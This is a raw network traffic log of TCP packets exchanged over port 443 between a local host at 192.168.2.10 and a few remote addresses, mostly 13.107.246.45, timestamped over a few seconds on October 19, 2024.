Oct 19, 2024 00:13:51.119041920 CEST	443	49733	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.119168043 CEST	49733	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.120052099 CEST	49733	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.120080948 CEST	443	49733	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.120095015 CEST	49733	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.120102882 CEST	443	49733	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.127415895 CEST	49738	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.127460003 CEST	443	49738	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.127541065 CEST	49738	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.127762079 CEST	49738	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.127768040 CEST	443	49738	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.157119036 CEST	443	49735	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.158052921 CEST	49735	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.158070087 CEST	443	49735	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.158704042 CEST	49735	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.158709049 CEST	443	49735	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.169522047 CEST	443	49734	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.169696093 CEST	443	49734	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.169760942 CEST	49734	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.170301914 CEST	49734	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.170327902 CEST	443	49734	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.170341015 CEST	49734	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.170346975 CEST	443	49734	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.173681021 CEST	49739	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.173733950 CEST	443	49739	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.173805952 CEST	49739	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.174002886 CEST	49739	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.174021959 CEST	443	49739	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.190532923 CEST	443	49732	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.191317081 CEST	49732	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.191327095 CEST	443	49732	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.192042112 CEST	49732	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.192048073 CEST	443	49732	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.291400909 CEST	443	49735	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.291549921 CEST	443	49735	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.291603088 CEST	49735	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.291851997 CEST	49735	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.291870117 CEST	443	49735	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.291878939 CEST	49735	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.291886091 CEST	443	49735	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.298783064 CEST	49740	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.298819065 CEST	443	49740	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.298911095 CEST	49740	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.299144030 CEST	49740	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.299173117 CEST	443	49740	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.326257944 CEST	443	49732	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.326323032 CEST	443	49732	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.326520920 CEST	49732	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.326653004 CEST	49732	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.326669931 CEST	443	49732	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.326692104 CEST	49732	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.326697111 CEST	443	49732	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.351134062 CEST	49741	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.351177931 CEST	443	49741	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.351588964 CEST	49741	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.351588964 CEST	49741	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.351629019 CEST	443	49741	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.833316088 CEST	443	49736	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.833986998 CEST	49736	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.834017038 CEST	443	49736	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.834441900 CEST	49736	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.834445953 CEST	443	49736	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.883825064 CEST	443	49738	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.886956930 CEST	49738	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.886956930 CEST	49738	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.887007952 CEST	443	49738	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.887022972 CEST	443	49738	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.944478989 CEST	443	49739	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.945018053 CEST	49739	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.945033073 CEST	443	49739	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.945621014 CEST	49739	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.945626974 CEST	443	49739	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.968267918 CEST	443	49736	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.968566895 CEST	443	49736	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.968646049 CEST	49736	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.968686104 CEST	49736	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.968698978 CEST	443	49736	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.968712091 CEST	49736	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.968717098 CEST	443	49736	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.971743107 CEST	49742	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.971785069 CEST	443	49742	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.971925020 CEST	49742	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.972084999 CEST	49742	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.972103119 CEST	443	49742	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.023802996 CEST	443	49738	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.024823904 CEST	443	49738	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.024918079 CEST	49738	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.025032043 CEST	49738	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.025032043 CEST	49738	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.025054932 CEST	443	49738	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.025064945 CEST	443	49738	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.029496908 CEST	49743	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.029531002 CEST	443	49743	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.029639006 CEST	49743	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.029881001 CEST	49743	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.029896975 CEST	443	49743	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.056972980 CEST	443	49740	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.057817936 CEST	49740	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.057837009 CEST	443	49740	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.058649063 CEST	49740	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.058665037 CEST	443	49740	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.081051111 CEST	443	49739	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.081124067 CEST	443	49739	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.081172943 CEST	49739	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.081388950 CEST	49739	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.081409931 CEST	443	49739	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.081423998 CEST	49739	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.081430912 CEST	443	49739	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.084793091 CEST	49744	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.084836006 CEST	443	49744	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.084923983 CEST	49744	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.085225105 CEST	49744	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.085241079 CEST	443	49744	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.089085102 CEST	443	49741	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.089509010 CEST	49741	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.089530945 CEST	443	49741	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.090039015 CEST	49671	443	192.168.2.10	204.79.197.203
Oct 19, 2024 00:13:52.090173006 CEST	49741	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.090186119 CEST	443	49741	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.192476034 CEST	443	49740	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.192575932 CEST	443	49740	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.192718029 CEST	49740	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.192943096 CEST	49740	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.192943096 CEST	49740	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.192964077 CEST	443	49740	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.192975044 CEST	443	49740	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.195811033 CEST	49745	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.195858955 CEST	443	49745	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.195935011 CEST	49745	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.196154118 CEST	49745	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.196168900 CEST	443	49745	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.221151114 CEST	443	49741	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.221920013 CEST	443	49741	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.221999884 CEST	49741	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.222121954 CEST	49741	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.222121954 CEST	49741	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.222135067 CEST	443	49741	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.222142935 CEST	443	49741	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.225878000 CEST	49746	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.225922108 CEST	443	49746	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.226011038 CEST	49746	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.226226091 CEST	49746	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.226237059 CEST	443	49746	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.697854042 CEST	443	49742	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.729239941 CEST	49742	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.729266882 CEST	443	49742	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.729749918 CEST	49742	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.729756117 CEST	443	49742	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.771699905 CEST	443	49743	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.824428082 CEST	49743	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.828697920 CEST	443	49744	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.835766077 CEST	49744	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.835798025 CEST	443	49744	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.847016096 CEST	49744	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.847026110 CEST	443	49744	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.855253935 CEST	443	49742	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.855592012 CEST	443	49742	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.855664015 CEST	49742	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.856383085 CEST	49742	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.856411934 CEST	443	49742	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.856424093 CEST	49742	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.856431007 CEST	443	49742	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.861501932 CEST	49743	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.861514091 CEST	443	49743	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.862451077 CEST	49743	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.862467051 CEST	443	49743	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.884248972 CEST	49747	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.884295940 CEST	443	49747	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.884543896 CEST	49747	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.885047913 CEST	49747	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.885057926 CEST	443	49747	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.935074091 CEST	443	49745	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.935897112 CEST	49745	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.935916901 CEST	443	49745	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.936737061 CEST	49745	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.936747074 CEST	443	49745	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.969177008 CEST	443	49746	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.974729061 CEST	443	49744	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.974832058 CEST	443	49744	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.974922895 CEST	49744	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:52.990670919 CEST	443	49743	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.990737915 CEST	443	49743	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:52.991013050 CEST	49743	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.011923075 CEST	49746	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.045557022 CEST	49743	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.045586109 CEST	443	49743	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.045972109 CEST	49743	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.045984030 CEST	443	49743	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.069554090 CEST	443	49745	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.069732904 CEST	443	49745	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.070332050 CEST	49745	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.261920929 CEST	49674	443	192.168.2.10	173.222.162.55
Oct 19, 2024 00:13:53.262964964 CEST	49675	443	192.168.2.10	173.222.162.55
Oct 19, 2024 00:13:53.298533916 CEST	49745	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.298580885 CEST	443	49745	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.298698902 CEST	49745	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.298706055 CEST	443	49745	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.333673954 CEST	49746	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.333690882 CEST	443	49746	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.334132910 CEST	49746	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.334139109 CEST	443	49746	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.334939957 CEST	49744	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.334969044 CEST	443	49744	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.335009098 CEST	49744	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.335016966 CEST	443	49744	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.458575010 CEST	443	49746	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.458647966 CEST	443	49746	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.458748102 CEST	49746	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.500632048 CEST	49748	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.500677109 CEST	443	49748	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.501144886 CEST	49748	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.503066063 CEST	49749	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.503118038 CEST	443	49749	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.503176928 CEST	49749	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.503396988 CEST	49749	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.503407001 CEST	443	49749	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.578156948 CEST	49746	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.578192949 CEST	443	49746	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.578207016 CEST	49746	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.578216076 CEST	443	49746	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.584168911 CEST	49748	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.584184885 CEST	443	49748	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.585675955 CEST	49750	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.585720062 CEST	443	49750	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.585784912 CEST	49750	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.586046934 CEST	49750	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.586062908 CEST	443	49750	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.593822956 CEST	49751	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.593851089 CEST	443	49751	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.593913078 CEST	49751	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.594495058 CEST	49751	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.594506025 CEST	443	49751	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.634116888 CEST	443	49747	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.637537003 CEST	49747	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.637561083 CEST	443	49747	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.638242960 CEST	49747	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.638250113 CEST	443	49747	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.763154030 CEST	443	49747	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.763227940 CEST	443	49747	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.763288975 CEST	49747	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.831695080 CEST	49747	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.831695080 CEST	49747	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.831717014 CEST	443	49747	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.831727982 CEST	443	49747	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.998487949 CEST	49752	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.998524904 CEST	443	49752	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:53.998680115 CEST	49752	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.999878883 CEST	49752	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:53.999896049 CEST	443	49752	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.236341000 CEST	443	49749	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.237322092 CEST	49749	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.237338066 CEST	443	49749	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.237781048 CEST	49749	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.237787962 CEST	443	49749	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.329221964 CEST	443	49750	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.330600977 CEST	49750	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.330619097 CEST	443	49750	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.331419945 CEST	443	49751	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.331429005 CEST	49750	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.331434965 CEST	443	49750	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.332782984 CEST	49751	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.332803011 CEST	443	49751	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.333415985 CEST	49751	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.333420992 CEST	443	49751	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.333486080 CEST	443	49748	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.338926077 CEST	49748	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.338952065 CEST	443	49748	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.339417934 CEST	49748	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.339425087 CEST	443	49748	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.365025043 CEST	443	49749	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.365231991 CEST	443	49749	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.365303993 CEST	49749	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.368942022 CEST	49749	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.368968010 CEST	443	49749	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.368980885 CEST	49749	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.368988991 CEST	443	49749	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.373889923 CEST	49755	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.373920918 CEST	443	49755	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.373995066 CEST	49755	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.374408007 CEST	49755	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.374418974 CEST	443	49755	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.457500935 CEST	443	49750	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.457952023 CEST	443	49750	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.458026886 CEST	49750	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.458348036 CEST	49750	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.458368063 CEST	443	49750	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.458378077 CEST	49750	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.458389044 CEST	443	49750	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.464036942 CEST	443	49748	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.464086056 CEST	49756	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.464111090 CEST	443	49756	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.464147091 CEST	443	49748	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.464190006 CEST	49756	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.464204073 CEST	49748	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.464402914 CEST	49748	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.464423895 CEST	443	49748	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.464443922 CEST	49748	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.464451075 CEST	443	49748	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.464524031 CEST	49756	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.464540005 CEST	443	49756	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.467211962 CEST	443	49751	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.467413902 CEST	443	49751	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.467484951 CEST	49751	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.468204021 CEST	49751	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.468215942 CEST	443	49751	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.468230009 CEST	49751	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.468235970 CEST	443	49751	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.471380949 CEST	49757	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.471407890 CEST	443	49757	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.471468925 CEST	49757	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.471616030 CEST	49757	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.471626043 CEST	443	49757	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.480555058 CEST	49758	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.480564117 CEST	443	49758	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.480638027 CEST	49758	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.484891891 CEST	49758	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.484904051 CEST	443	49758	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.721693993 CEST	443	49752	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.753966093 CEST	49752	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.753987074 CEST	443	49752	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.754513025 CEST	49752	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.754518032 CEST	443	49752	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.879827976 CEST	443	49752	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.879904032 CEST	443	49752	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.880127907 CEST	49752	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.905913115 CEST	49752	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.905940056 CEST	443	49752	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.906076908 CEST	49752	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.906085014 CEST	443	49752	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.917020082 CEST	49759	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.917051077 CEST	443	49759	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:54.917100906 CEST	49759	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:54.920924902 CEST	49759	443	192.168.2.10	13.107.246.45
